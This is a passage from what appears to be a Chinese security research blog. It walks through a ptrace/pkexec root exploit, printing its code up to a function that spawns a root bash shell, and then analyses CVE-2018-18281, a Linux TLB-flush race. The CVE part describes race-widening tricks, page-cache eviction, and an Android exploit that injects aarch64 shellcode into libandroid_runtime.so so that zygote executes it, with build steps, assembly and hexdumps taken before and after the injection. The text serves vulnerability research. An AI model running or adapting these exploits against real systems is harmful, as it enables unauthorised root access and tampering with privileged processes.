81 ssize_t buflen = SAFE(pread(proc_fd, buf, sizeof(buf)-1, 0));
82 buf[buflen] = '\0';
83 if (strstr(buf, needle)) break;
84 }
85
86 /*
87 * this is where the bug is triggered.
88 * while our parent is in the middle of pkexec, we force it to become our
89 * tracer, with pkexec's creds as ptracer_cred.
90 */
91 SAFE(ptrace(PTRACE_TRACEME, 0, NULL, NULL));
92
93 /*
94 * now we execute passwd. because the ptrace relationship is considered to
95 * be privileged, this is a proper suid execution despite the attached
96 * tracer, not a degraded one.
97 * at the end of execve(), this process receives a SIGTRAP from ptrace.
98 */
99 puts("executing passwd");
100 execl("/usr/bin/passwd", "passwd", NULL);
101 err(1, "execl passwd");
102 }
103
104 SAFE(dup2(self_fd, 0));
105 SAFE(dup2(block_pipe[1], 1));
106
107 struct passwd *pw = getpwuid(getuid());
108 if (pw == NULL) err(1, "getpwuid");
109
110 middle_success = 1;
111 execl("/tmp/fakepkexec", "fakepkexec", "--user", pw->pw_name, NULL);
112 middle_success = 0;
113 err(1, "execl pkexec");
114 }

行 70, 调用 fork 生成孙进程(也就是 task C)

然后行 111, task B 运行 fakepkexec 让自己提权再降权

然后看行 76 ~ 84, task C 检测到 task B 的 euid 变成 0 之后, 会执行行 91 进行 PTRACE_TRACEME 操作获取 root 的 ptracer_cred, 然后紧接着 task C 马上运行 execl 执行一个 suid binary 让自己的 euid 变成 0

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26

190 /*
191 * wait for our child to go through both execve() calls (first pkexec, then
192 * the executable permitted by polkit policy).
193 */
194 while (1) {
195 int fd = open(tprintf("/proc/%d/comm", midpid), O_RDONLY);
196 char buf[16];
197 int buflen = SAFE(read(fd, buf, sizeof(buf)-1));
198 buf[buflen] = '\0';
199 *strchrnul(buf, '\n') = '\0';
200 if (strncmp(buf, basename(helper_path), 15) == 0)
201 break;
202 usleep(100000);
203 }
204
205 /*
206 * our child should have gone through both the privileged execve() and the
207 * following execve() here
208 */
209 SAFE(ptrace(PTRACE_ATTACH, midpid, 0, NULL));
210 SAFE(waitpid(midpid, &dummy_status, 0));
211 fputs("attached to midpid\n", stderr);
212
213 force_exec_and_wait(midpid, 0, "stage2");
214 return 0;

接下去回到 task A 的 main 函数, 行 194 ~ 202, task A 检测到 task B 的 binary comm 变成 helper 之后,
运行行 213 执行 force_exec_and_wait

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
116 static void force_exec_and_wait(pid_t pid, int exec_fd, char *arg0) {
117 struct user_regs_struct regs;
118 struct iovec iov = { .iov_base = &regs, .iov_len = sizeof(regs) };
119 SAFE(ptrace(PTRACE_SYSCALL, pid, 0, NULL));
120 SAFE(waitpid(pid, &dummy_status, 0));
121 SAFE(ptrace(PTRACE_GETREGSET, pid, NT_PRSTATUS, &iov));
122
123 /* set up indirect arguments */
124 unsigned long scratch_area = (regs.rsp - 0x1000) & ~0xfffUL;
125 struct injected_page {
126 unsigned long argv[2];
127 unsigned long envv[1];
128 char arg0[8];
129 char path[1];
130 } ipage = {
131 .argv = { scratch_area + offsetof(struct injected_page, arg0) }
132 };
133 strcpy(ipage.arg0, arg0);
134 for (int i = 0; i < sizeof(ipage)/sizeof(long); i++) {
135 unsigned long pdata = ((unsigned long *)&ipage)[i];
136 SAFE(ptrace(PTRACE_POKETEXT, pid, scratch_area + i * sizeof(long),
137 (void*)pdata));
138 }
139
140 /* execveat(exec_fd, path, argv, envv, flags) */
141 regs.orig_rax = __NR_execveat;
142 regs.rdi = exec_fd;
143 regs.rsi = scratch_area + offsetof(struct injected_page, path);
144 regs.rdx = scratch_area + offsetof(struct injected_page, argv);
145 regs.r10 = scratch_area + offsetof(struct injected_page, envv);
146 regs.r8 = AT_EMPTY_PATH;
147
148 SAFE(ptrace(PTRACE_SETREGSET, pid, NT_PRSTATUS, &iov));
149 SAFE(ptrace(PTRACE_DETACH, pid, 0, NULL));
150 SAFE(waitpid(pid, &dummy_status, 0));
151 }

函数 force_exec_and_wait 的作用是使用 ptrace 控制 tracee 执行 execveat 函数替换进程的镜像, 这里它控制 task B 执行了 task A 的进程(即 exploit 的可执行程序)然后参数为 stage2, 这实际上就是让 task B 执行了 middle_stage2 函数

1
2
3
4
5
167 int main(int argc, char **argv) {
168 if (strcmp(argv[0], "stage2") == 0)
169 return middle_stage2();
170 if (strcmp(argv[0], "stage3") == 0)
171 return spawn_shell();

而 middle_stage2 函数同样调用了 force_exec_and_wait , 这将使 task B 利用 ptrace 控制 task C 执行 execveat 函数,将 task C 的镜像也替换为 exploit 的 binary, 且参数是 stage3

1
2
3
4
5
6
153 static int middle_stage2(void) {
154 /* our child is hanging in signal delivery from execve()'s SIGTRAP */
155 pid_t child = SAFE(waitpid(-1, &dummy_status, 0));
156 force_exec_and_wait(child, 42, "stage3");
157 return 0;
158 }

当 exploit binary 以参数 stage3 运行时,实际运行的是 spawn_shell 函数, 所以 task C 最后阶段运行的是 spawn_shell

1
2
3
4
5
6
160 static int spawn_shell(void) {
161 SAFE(setresgid(0, 0, 0));
162 SAFE(setresuid(0, 0, 0));
163 execlp("bash", "bash", NULL);
164 err(1, "execlp");
165 }

在 spawn_shell 函数里, 它首先使用 setresgid/setresuid 将本进程的 real uid/effective uid/save uid 都变成 root, 由于 task C 刚刚已经执行了 suid binary 将自身的 euid 变成了 root, 所以这里的 setresuid/setresgid 可以成功执行,到此为止, task C 就变成了一个完全的 root 进程, 最后再执行 execlp 启动一个 shell, 即得到了一个完整 root 权限的 shell

引用

TLB 缓存延迟刷新漏洞 CVE-2018-18281 解析

author: chengjia4574@gmail.com of IceSword Lab , Qihoo 360

简介

最近, 业内发现了一批内存管理系统的漏洞, project 0 的 Jann Horn 放出了其中一个漏洞 CVE-2018-18281writeup, CVE-2018-18281 是一个 linux kernel 的通用漏洞, 这个漏洞的模式比较罕见, 不同于常规的内存溢出类漏洞, 也不是常见的 UAF 漏洞, 它是由内存管理系统的底层逻辑错误导致的, 根本原因是 TLB 缓存没有及时刷新造成虚拟地址复用, 可以实现较为稳定的提权利用.

TLB

linux 内核通过 多级页表 实现虚拟内存机制, 为了提高访问速度, 一些映射信息会被缓存在 TLB 里, cpu 在访问一个虚拟地址的时候, 会先查找 TLB , 如果没有命中, 才去遍历主存里的多级页表, 并将查找到的映射关系填入 TLB

反过来, 如果某个映射关系要解除, 除了在主存里的相关表项要删除, 还需要对多个cpu core 同步执行 TLB 刷新, 使得在所有 TLB 缓存里该映射关系消除, 否则就会出现不一致.

上述关于 TLB 和内存映射的说明只是简化版本, 用于简单理解这个漏洞的原因, 真正的实现不同操作系统, 不同体系架构, 都不一样. 可以查阅芯片手册, 如 TLBs, Paging-Structure Caches, and Their Invalidation 和一些分析, 如 Reverse Engineering Hardware Page Table Caches

漏洞

先看两个系统调用

  • mremap 系统调用用来改变虚拟内存的映射区域
  • ftruncate 系统调用用来改变文件的大小到指定大小

这两个系统调用表面上看八竿子打不着, 但在 linux 内核的实现里, 他们的调用链条会出现一个竞态条件异常

1
2
3
4
5
6
7
8
9
10
1) sys_mremap() -> mremap_to()->move_vma()->move_page_tables(). 
move_page_tables() first calls move_ptes() in a loop,
then performs a TLB flush with flush_tlb_range().

2) sys_ftruncate()->do_sys_ftruncate()->do_truncate()->notify_change()
->shmem_setattr()->unmap_mapping_range()->unmap_mapping_range_tree()
->unmap_mapping_range_vma() ->zap_page_range_single()->unmap_single_vma()
->unmap_page_range()->zap_pud_range()->zap_pmd_range()->zap_pte_range()
can concurrently access the page tables of a process that is in move_page_tables(),
between the move_ptes() loop and the TLB flush.

mremap 底层实现主要是 move_ptes 函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
89 static void move_ptes(struct vm_area_struct *vma, pmd_t *old_pmd,
90 unsigned long old_addr, unsigned long old_end,
91 struct vm_area_struct *new_vma, pmd_t *new_pmd,
92 unsigned long new_addr, bool need_rmap_locks)
93 {
94 struct address_space *mapping = NULL;
95 struct anon_vma *anon_vma = NULL;
96 struct mm_struct *mm = vma->vm_mm;
97 pte_t *old_pte, *new_pte, pte;
98 spinlock_t *old_ptl, *new_ptl;
======================== skip ======================
133 old_pte = pte_offset_map_lock(mm, old_pmd, old_addr, &old_ptl);
134 new_pte = pte_offset_map(new_pmd, new_addr);
135 new_ptl = pte_lockptr(mm, new_pmd);
136 if (new_ptl != old_ptl)
137 spin_lock_nested(new_ptl, SINGLE_DEPTH_NESTING);
138 arch_enter_lazy_mmu_mode();
139
140 for (; old_addr < old_end; old_pte++, old_addr += PAGE_SIZE,
141 new_pte++, new_addr += PAGE_SIZE) {
142 if (pte_none(*old_pte))
143 continue;
144 pte = ptep_get_and_clear(mm, old_addr, old_pte);
145 pte = move_pte(pte, new_vma->vm_page_prot, old_addr, new_addr);
146 pte = move_soft_dirty_pte(pte);
147 set_pte_at(mm, new_addr, new_pte, pte);
148 }
149
150 arch_leave_lazy_mmu_mode();
151 if (new_ptl != old_ptl)
152 spin_unlock(new_ptl);
153 pte_unmap(new_pte - 1);
154 pte_unmap_unlock(old_pte - 1, old_ptl);
155 if (anon_vma)
156 anon_vma_unlock_write(anon_vma);
157 if (mapping)
158 i_mmap_unlock_write(mapping);
159 }

结合上面代码, 有两点需要注意

  • 锁, 133 ~ 137 这几行目的是获取 pmd (pmd 指针指向一个存满了 pte 结构的页面) 的锁 (包括旧的和新的), 151 ~ 154 这几行是释放 pmd 锁
  • ptes 拷贝, 对一个 pmd 里的所有 pte 执行拷贝操作, 144 这一行调用 ptep_get_and_clear 将 old_pte 的值赋值给临时变量 pte 并清空旧的页表项, 147 这一行调用 set_pte_at 将刚刚的 pte 赋值给 new_pte 指针

简单而言, move_ptes 将旧的 pmd 页的值 ( ptes ) 拷贝到了新的 pmd 页, 这就是 mremap 函数在底层的实现, 它并不需要删除旧地址对应的 pages, 只需要将旧地址关联到的 ptes 拷贝到新地址关联的页表, 这种拷贝是按照 pmd 为单位进行的, 每处理完一个 pmd, 对应的 pmd lock 就会释放.

ftruncate 函数将文件大小变为指定的大小, 如果新的值比旧的值小, 则需要将文件在内存的虚存空间变小, 这需要调用到 zap_pte_range 函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
1107 static unsigned long zap_pte_range(struct mmu_gather *tlb,
1108 struct vm_area_struct *vma, pmd_t *pmd,
1109 unsigned long addr, unsigned long end,
1110 struct zap_details *details)
1111 {
1112 struct mm_struct *mm = tlb->mm;
1113 int force_flush = 0;
1114 int rss[NR_MM_COUNTERS];
1115 spinlock_t *ptl;
1116 pte_t *start_pte;
1117 pte_t *pte;
1118 swp_entry_t entry;
1119
1120 again:
1121 init_rss_vec(rss);
1122 start_pte = pte_offset_map_lock(mm, pmd, addr, &ptl);
1123 pte = start_pte;
1124 flush_tlb_batched_pending(mm);
1125 arch_enter_lazy_mmu_mode();
1126 do {
1127 pte_t ptent = *pte;
========================== skip ==========================
1146 ptent = ptep_get_and_clear_full(mm, addr, pte,
1147 tlb->fullmm);
1148 tlb_remove_tlb_entry(tlb, pte, addr);
========================== skip ==========================
1176 entry = pte_to_swp_entry(ptent);
========================== skip ==========================
1185 if (unlikely(!free_swap_and_cache(entry)))
1186 print_bad_pte(vma, addr, ptent, NULL);
1187 pte_clear_not_present_full(mm, addr, pte, tlb->fullmm);
1188 } while (pte++, addr += PAGE_SIZE, addr != end);
1189
1190 add_mm_rss_vec(mm, rss);
1191 arch_leave_lazy_mmu_mode();
1192
1193 /* Do the actual TLB flush before dropping ptl */
1194 if (force_flush)
1195 tlb_flush_mmu_tlbonly(tlb);
1196 pte_unmap_unlock(start_pte, ptl);
========================== skip ==========================
1212 return addr;
1213 }

结合上面代码, 有三点需要注意,

  • 锁, 1122 行获取了 pmd 的锁, 1196 行释放了 pmd 的锁, 这里的 pmd 锁跟 move_ptes 函数里的是同一个东西
  • pte, 1146 行清空了页表项
  • page, 1185 行调用函数 free_swap_and_cache 释放了 pte 对应的 page cache, 将物理页面释放, 这是与 move_ptes 不同的地方

将上述两个函数的流程放到一起分析, 假设下面这种情况:

假设一个进程有 A,B,C 三个线程:

  • 1) A 映射一个文件 a 到地址 X, 映射条件为: PROT_READ , MAP_SHARED
  • 2) C 循环读取 X 的内容
  • 3) A 调用 mremap 重新映射 X 到 Y, 这个调用会执行下面两个函数:
    • 3.1) move_ptes , 该函数做如下操作:
      • 3.1.1) 获取 X 页表和 Y 页表的锁
      • 3.1.2) 遍历 X 对应页表的 pte , 释放之, 并在 Y 页表重建这些 pte
      • 3.1.3) 释放 Y 页表的锁
      • 3.1.4) 释放 X 页表的锁
    • 3.2) flush_tlb_range : 刷新 X 对应的 TLB 缓存
  • 4) B 调用 ftruncate 将文件 a 的文件大小改为 0, 这个调用会执行下面操作:
    • 4.1) 获取 Y 页表的锁
    • 4.2) 删除 Y 对应的页表
    • 4.3) 释放 Y 对应的 pages
    • 4.4) 刷新 Y 对应的 TLB 缓存
1
2
3
4
5
6
说明: 

实际上 X 和 Y 是两块内存区域, 也就是说可能比一个 pmd 所容纳的地址范围大,
不管是 mremap 还是 ftruncate, 底层实现会将 X 和 Y 按照 pmd 为单位循环执行上表的操作,
即上表所说的 X 页表实际指的是 X 内存区域里的某个 pmd, 这里是为了表达方便简化处理,
下面的描述也是一样.

这里存在的竞态条件是当 4.3 已经执行完毕 (3.1.3 释放 Y 锁 4.1 就可以执行), 地址 Y 的内存已经释放, 物理页面已经返回给 伙伴系统 , 并再一次分配给新的虚拟内存, 而此时 3.2 还没有执行, 这种情况下, 虽然 X 的映射关系在页表里已经被清空, 但在 TLB 缓存里没有被清空, 线程 C 依然可以访问 X 的内存, 造成地址复用

1
2
3
4
5
6
7
8
注意:

除了可以用 ftruncate 函数来跟 mremap 竞争, 还有一个 linux 系统特有的
系统函数 fallocate 也可以起到同样的效果, 原因很简单,
fallocate 和 ftruncate 的底层调用链是一样的

sys_fallocate()->shmem_fallocate()->shmem_truncate_range()
->shmem_undo_range()->truncate_inode_page()->unmap_mapping_range

v4.9 之前的内核都是上述列表显示的代码逻辑

v4.9 之后的内核, move_ptes 的逻辑与上述有些许不同

1
2
3
4
5
6
7
注意:

在 versions > 4.9 的 linux 内核, Dirty 标记的页面会在 move_ptes 函数内部刷新 TLB ,
而不是等到 3.2 由 flush_tlb_range 函数去刷新, 因此, race 发生之后,
线程 C 能通过 X 访问到的内存都是之前 non-Dirty 的页面, 即被写过的页面都无法复用.

这点改变会对 poc 和 exploit 造成什么影响? 留给大家思考.

简单版的 poc

根据上述分析, 一个简单的 poc 思路就出来了, 通过不断检测线程 C 从地址 X 读取的内容是不是初始内容就可以判断 race 是否被触发, 正常情况下, C 读取 X 只会有两种结果, 一种是 mremap 彻底完成, 即 3.2 执行完毕, 此时地址 X 为无效地址, C 的读操作引发进程奔溃退出, 第二种是 mremap 还未完成, C 读取的地址返回的是 X 的初始内容, 只有这两种情况才符合 mremap 函数的定义. 但是由于漏洞的存在, 实际运行会存在第三种情况, 即 C 读取 X 不会奔溃(3.2 还没执行, 地址映射还有效), 但内容变了( 4.3 执行完毕, 物理页面已经被其他地方复用)

这份 poc 可以清晰看出 race 是怎么发生的, 需要注意, 这份 poc 必须配合内核补丁才能稳定触发 race , 否则命中率非常低, 补丁通过在 move_page_tables 函数调用 flush_tlb_range 之前(即 3.2 之前)增加一个大循环来增大 race 条件的时间窗口以提高命中率

上述 poc 的运行结果是, 大部分情况下 poc 奔溃退出, 少数情况下读取 X 会返回一个被其他地方复用的页面

这离稳定提权还有很远的距离, 为了得到稳定利用, 至少有两个问题需要解决:

  • 如何提高 race 的命中率
  • 怎么实现提权

如何提高 race 的命中率

要提高本漏洞 race 的命中率, 就是要增大 move_ptes 函数和 flush_tlb_range 函数之间的时间间隔

1
怎么才能增加这俩函数执行的时间间隔呢?

这里要引入linux内核的 进程抢占 概念, 如果目标内核是可抢占的 (CONFIG_PREEMPT=y) , 则如果能让进程在执行 flush_tlb_range 函数之前被抢占, 那么 race 的时间窗口就够大了, 用户空间的普通程序能不能影响某个进程的调度策略呢? 答案是肯定的.

有两个系统函数可以影响进程的调度

使用这两个函数将 poc 修改为下面的方案,

新建 A,B,C,D 四个线程:

  • 1) A 映射一个文件 a 到地址 X, A 绑定到核 c1, A 调度策略设置为 SCHED_IDLE
  • 2) C 绑定到核 c1, C 阻塞在某个 pipe, pipe 返回则调用 ftruncate 将文件 a 的文件大小改为 0
  • 3) A 调用 mremap 重新映射 X 到 Y, 这将执行下面两个函数:
    • 3.1) move_ptes
    • 3.2) flush_tlb_range
  • 4) D 绑定到核 c2, 监控进程的内存映射情况,如果发生变化则通过写 pipe 唤醒 C
  • 5) B 绑定到核 c3, 循环读取 X 的内容, 并判断是否还是初始值
1
2
3
4
注意:

mremap 执行 move_ptes 函数会引发内存状态变化, 这种变化可以通过
用户态文件 /proc/pid/status 文件获取, 这就是线程 D 的作用

此时, 通过监控线程 D 唤醒 C, 由于A 和 C 绑定在同一个核心 c1, 且 A 的调度策略被设置
为最低优先级 SCHED_IDLE, C 的唤醒将抢占 A 的执行, 如此一来, 3.2 的执行就可能被延迟.
C 被唤醒后立即执行 ftruncate 释放 Y 的内存触发漏洞.

通过上述方案可以理论上让线程 A 在执行 3.1 后, 执行 3.2 前被挂起,
从而扩大 3.1 和 3.2 的时间间隔

这个 poc 是根据上述思路写的

改进版的 poc

实测发现上述 poc 触发率还是低, 借鉴 Jann Horn 的思路, 继续如下修改 poc

改进版方案: 新建 A,B,C,D,E 五个线程:

  • 1) A 映射一个文件 a 到地址 X, A 绑定到核 c1, A 调度策略设置为 SCHED_IDLE
  • 2) C 绑定到核 c1, C 阻塞在某个 pipe, pipe 返回则立即将 A 重新绑定到核 c4, 并调用 ftruncate 将文件 a 的文件大小改为 0
  • 3) A 调用 mremap 重新映射 X 到 Y
    • 3.1) move_ptes
    • 3.2) flush_tlb_range
  • 4) D 绑定到核 c2, 监控进程的内存映射情况,如果发生变化则通过写 pipe 唤醒 C
  • 5) B 绑定到核 c3, 循环读取 X 的内容, 并判断是否还是初始值
  • 6) E 绑定到核 c4, 执行一个死循环.

改进的地方有两点, 1 是增加一个 E 线程绑定到核 c4 并执行死循环, 2 是线程 C 被唤醒后立刻重绑定线程 A 到核 c4, 即让 A 和 E 在同一个核上

这个改变会提高 race 触发的命中率, 个人判断原因是由于当 C 的管道返回后手动执行重绑定操作会比执行其他操作更容易导致 A 立即被挂起

改进版 poc 代码 是根据上述思路写的

利用这个 poc, 我们可以将这个漏洞的 race 命中率提升到可以接受的程度.

物理页面管理

现在我们可以在比较短的时间内稳定触发漏洞, 得到一片已经被释放的物理页面的使用权,
而且可读可写, 怎么利用这一点来提权?

这里需要了解物理内存的分配和释放细节, 物理内存管理属于伙伴系统, 参考 内存管理

物理页面的管理是分层的:

  • node: NUMA 体系架构有 node 的概念, 不同 node 的物理内存是分开管理的
  • zone: 根据物理内存的区域分若干种 zone, 不同场景会优先向不同的 zone 分配 , 比如用户空间申请内存, 会优先从 ZONE_NORMAL 这个 zone 分配, 如果不够再从其他 zone 分配
    • ZONE_DMA
    • ZONE_NORMAL
    • ZONE_HIGHMEM
    • 其他
  • migration-type: 内核根据可迁移性对页面进行分组管理, 用于 anti-fragmentation, 可以参考 内核页面迁移与反碎片机制
    • MIGRATE_UNMOVABLE
    • MIGRATE_RECLAIMABLE
    • MIGRATE_MOVABLE

__alloc_pages_nodemask 函数是 zoned buddy allocator 的分配入口, 它有快慢两条路径:

  • get_page_from_freelist , 快路径
    • 1) if order == 0, 从 per-cpu 的指定 zone 指定 migratetype 的 cache list 里获取 page
      • pcp = &this_cpu_ptr(zone->pageset)->pcp
      • list = &pcp->lists[migratetype]
      • page = list_entry(list->next, struct page, lru);
    • 2) __rmqueue_smallest : 在指定迁移类型下自底向上进行各阶遍历查找所需的空闲页面
      • area = &zone->free_area[current_order]
      • list = &area->free_list[migratetype]
      • page = list_entry(list->next, struct page, lru);
    • 3) __rmqueue_cma, 连续内存分配器 用于DMA映射框架下提升连续大块内存的申请
    • 4) __rmqueue_fallback, 如果在指定迁移类型下分配失败,且类型不为MIGRATE_RESERVE时, 就在 fallbacks 数组里找到下一个 migratetype, 由此获得的阶号和迁移类型查找zone->free_area[]->free_list[]空闲页面管理链表
  • __alloc_pages_slowpath, 慢路径

从漏洞利用的角度, 我们希望将漏洞释放的物理页面尽可能快的被重新分配回来, 所以, 用来触发漏洞释放物理页面的场景和重新申请物理页面用来利用的场景, 这两种场景的 zone, migratetype 最好一致, 而且这两个场景的触发最好在同一个 cpu core 上.

比如, 触发漏洞时, 通过用户空间 mmap 一片地址, 然后访问这片地址触发物理内存分配, 这种分配大概率是从 ZONE_NORMAL 而来, 而且页面大概率是 MIGRATE_MOVABLE 的, 然后用 ftruncate 释放, 这些页面很可能会挂在当前 cpu 的 freelist 上. 所以, 漏洞利用的时候如果是在其他 cpu core 触发申请物理页面, 则可能申请不到目标页面, 或者, 触发申请物理页面的场景如果是某种 dma 设备, 那么也大概率命中不到目标页面.

怎么实现提权

根据上述物理内存管理的分析, 选择使用文件的 page cache 用于重新申请目标物理页面, 在此基础上, 想办法实现提权

linux 上硬盘文件的内容在内核用 page cache 来维护, 如果漏洞触发后释放的页面被用于某个文件的 page cache, 则我们拥有了读写该文件的能力, 如果这个文件恰好是用户态的重要动态库文件, 正常情况下普通进程无法改写这种文件, 但通过漏洞普通进程可以改写它, 这样就可以通过修改动态库文件的代码段来提权.

上述利用思路的关键有3点:

  • 选择目标动态库文件
  • 选择目标文件要改写的位置
  • 提高目标位置所在页面的命中率

这个动态库必须是能被高权限进程所使用
目标位置最好是页面对齐的, 这样目标位置可以以页面为单位加载进内存, 或者以页面为单位置换到硬盘
目标位置被调用的时机不能太频繁, 要不然修改操作会影响系统稳定性, 而且调用时机必须可以由普通进程触发

下面是一个符合上述条件的动态库和函数:

  • libandroid_runtime.so 动态库
  • com_android_internal_os_Zygote_nativeForkAndSpecialize 函数
    • 这个函数被 zygote 调用, zygote 进程是一个特权进程
    • 这个函数在 libandroid_runtime.so (pixel2 PQ1A.181105.017.A1) 文件的偏移是 0x157000, 这个偏移是页面对齐的
    • 这个函数一般情况下不会被调用, 只有启动新的 app 时会被 zygote 调用, 可以由普通 app 触发 zygote 去执行

利用思路

漏洞触发 race 后, 让释放的物理页面刚好被用于目标页面( libandroid_runtime.so 文件的 offset = 0x157000 这个页面), 再可以通过 UAF 地址注入 shellcode 到目标位置, 从而改写 com_android_internal_os_Zygote_nativeForkAndSpecialize 函数的代码逻辑, 最后发消息触发 zygote 去执行 shellcode

如何提高文件 page cache 命中率

这节解决的问题是, 怎么控制 race 释放的页面刚好能被目标页面使用

这篇论文 的 section VIII-B 介绍了一种算法用于精确控制一个 file page cache 的加载

  • 1) 打开一个大文件 a, mmap 到内存
  • 2) 打开目标文件 b, mmap 到内存
  • 3) 在一个循环内, 执行:
    • 3.1) 按照 pagesize 逐页面读取 a 的内容
      这会导致内核申请大量 page cache 来装载文件 a, 
      从而迫使其他文件的 page cache 被置换到硬盘
    • 3.2) 判断目标页面 X 是否在内存里, 如果不是, 跳转到 4.1
  • 4) 在一个循环内, 执行:
    • 4.1) 按照 pagesize 逐页面读取 b 的内容, 但遇到目标页面 X 则跳过
      这会导致目标文件除目标页面 X 之外其他页面被重新装载回内存
    • 4.2) 判断目标页面 X 是否在内存里, 如果是, 跳转到 3.1
  • 5) 如果读取完全部 b 的内容, 目标页面 X 仍然没有在内存里, 结束.

通过上述算法, 可以让一个目标文件的目标页面 X 被置换到硬盘, 而该文件其他页面保留在内存里, 这样在漏洞触发之后, 再来访问目标页面, 则很大机会会分配刚刚释放的物理页面给目标页面

1
2
3
4
注意:

mincore 函数可以用来判断一个区域内的内存是在物理内存中或被交换出磁盘
上述算法在 linux 的实现依赖于 mincore

exploit code

我改了一份exploit 代码 在这里, 主要包含下面几个文件:

  • compile.sh
  • shellcode.s
  • exp.c
  • watchdog.c

compile.sh

这是编译脚本

1
2
3
4
5
1) aarch64-linux-gnu-as arm_shellcode.s -o arm_shellcode.o  
2) aarch64-linux-gnu-ld arm_shellcode.o -o arm_shellcode
3) aarch64-linux-gnu-objcopy --dump-section .text=arm_shellcode.bin arm_shellcode
4) xxd -i arm_shellcode.bin > arm_shellcode.h
5) make

1~3 是将汇编文件 arm_shellcode.s 编译成二进制并将可执行文件的代码段 (.text) 提取到文件 arm_shellcode.bin

4 使用 linux 的 xxd 工具将 arm_shellcode.bin 放进一个 c 语言分格的数组,后续在 c 代码里以数组变量的形式操作它

5 根据 Android.mk 编译可执行文件

shellcode.s

下面简单看一下 shellcode.s 汇编,不感兴趣可以略过

  • shellcode.s 本身很简单: 读取文件 “/proc/self/attr/current” ,然后将读取的内容作为参数调用 sethostname 函数,从而更改系统的 hostname

  • 因为普通 app 没有权限调用系统函数 ‘sethostname’, 本 exploit 通过注入 shellcode.s 到 libandroid_runtime.so, 然后触发 zygote 进程执行 shellcode.s 达到越权执行的目的

1
2
3
4
5
6
7
8
9
10
11
12
13
// open file
_start:
mov x0, #-100
adrp x1, _start
// NOTE: We are changing the page-relative alignment of the shellcode, so normal
// aarch64 RIP-relative addressing doesn't work.
add x1, x1, attr_path-file_start
mov x2, #0
mov x8, #0x38
svc #0

attr_path:
.ascii "/proc/self/attr/current\0"

第一段汇编作用是 open 文件 “/proc/self/attr/current”, #0x38 是系统调用号,对应系统调用 __NR_openat (系统调用号定义: include/uapi/asm-generic/unistd.h), 将 0x38 放入 x8 寄存器,svc #0 指令触发软中断,进入内核系统调用, 根据 openat 函数的定义, x1 寄存器存放要打开的文件路径的地址, x0 和 x2 这里忽略.

这段汇编执行后,x0寄存器存放返回值,即打开文件的 fd

1
2
3
4
5
6
// read from file
sub sp, sp, #128
mov x1, sp
mov x2, #128
mov x8, #0x3f
svc #0

第二段汇编执行 read 系统调用,读取 128 字节放入栈, #0x3f 对应系统调用 read, x0 存放要读取文件的 fd, x1 是栈顶指针 sp, 在此之前,sp 被移动了#128 字节,相当于一个 128 字节的栈数组作为 buf传给 read 函数第二个参数, x2 是要读取的长度, 这里是 128

这段汇编执行后, sp 指向的位置存放文件 ‘/proc/self/attr/current’ 的内容

1
2
3
4
5
// shove file contents into hostname
mov x1, x0
mov x0, sp
mov x8, #0xa1
svc #0

第三段汇编执行 sethostname 系统调用, #0xa1 对应系统调用 sethostname, x0 即要更新的域名字符串, 这里放入 sp 指针, 即将上一步 read 函数读取的 buf 值作为 sethostname 的参数 name, x1 是长度, 这里值是上一步read 的返回值

这段汇编执行后, hostname 将被更新为文件 ‘/proc/self/attr/current’ 的内容

watchdog.c

这个文件的作用是不断调用 exp 可执行文件并监控 exploit 是否成功, 之所以需要这个主调程序是由于这个漏洞在触发的时候, 大部分情况会引发程序奔溃, 这时候需要一个看门狗程序不断重启它

exp.c

这个文件实现了 exploit 的主体功能

  • kickout_victim_page 函数
  • idle_worker 线程
  • spinner 线程
  • nicer_spinner 线程
  • read_worker 线程
  • segv_handler 函数

kickout_victim_page 函数实现了 如何提高文件 page cache 命中率 的算法, 最开始执行

idle_worker 线程用于触发 mremap 调用, 先绑定到 c1, spinner 唤醒后重绑定 idle_worker 到 c3, 调度策略为 SCHED_IDLE , 其他线程都是普通调度策略

spinner 线程用于触发 fallocate (跟 ftruncate 效果类似) 调用, 绑定到 c2

nicer_spinner 线程绑定到 c3, 用于抢占 idle_worker 的 cpu 使用权

read_worker 线程绑定到 c4, 用于监控目标内存, 一旦发现 race 成功触发, 则注入 shellcode 到目标内存

segv_handler 函数是段错误处理函数, 这里会再一次检测 shellcode 是否已经成功注入到目标文件, 如果是, 则通知 watchdog 停止重启 exp

执行 exploit 之前, libandroid_runtime.so 如下

1
2
3
4
5
6
7
8
9
10
adb pull /system/lib64/libandroid_runtime.so

root@jiayy:CVE-2018-18281# xxd -s 0x157000 -l 100 libandroid_runtime.so
00157000: 0871 0091 5f00 08eb c000 0054 e087 41a9 .q.._......T..A.
00157010: e303 1f32 0800 40f9 0801 43f9 0001 3fd6 ...2..@...C...?.
00157020: 2817 40f9 a983 5af8 1f01 09eb e110 0054 (.@...Z........T
00157030: ff03 1191 fd7b 45a9 f44f 44a9 f657 43a9 .....{E..OD..WC.
00157040: f85f 42a9 fa67 41a9 fc6f c6a8 c003 5fd6 ._B..gA..o...._.
00157050: f801 00b0 d901 00b0 ba01 00f0 7b02 00f0 ............{...
00157060: 9c01 0090

执行 exploit 之后, libandroid_runtime.so 如下

1
2
3
4
5
6
7
8
9
10
adb pull /system/lib64/libandroid_runtime.so

root@jiayy:CVE-2018-18281# xxd -s 0x157000 -l 100 libandroid_runtime.so
00157000: 0000 20d4 0000 20d4 600c 8092 0100 0090 .. ... .`.......
00157010: 2120 0191 0200 80d2 0807 80d2 0100 00d4 ! ..............
00157020: ff03 02d1 e103 0091 0210 80d2 e807 80d2 ................
00157030: 0100 00d4 e103 00aa e003 0091 2814 80d2 ............(...
00157040: 0100 00d4 0000 0014 2f70 726f 632f 7365 ......../proc/se
00157050: 6c66 2f61 7474 722f 6375 7272 656e 7400 lf/attr/current.
00157060: eaff ff17 ....

引用

开启Win10RS4ARM64远程内核调试之旅

author : wup and suezi of IceSword Lab , Qihoo 360


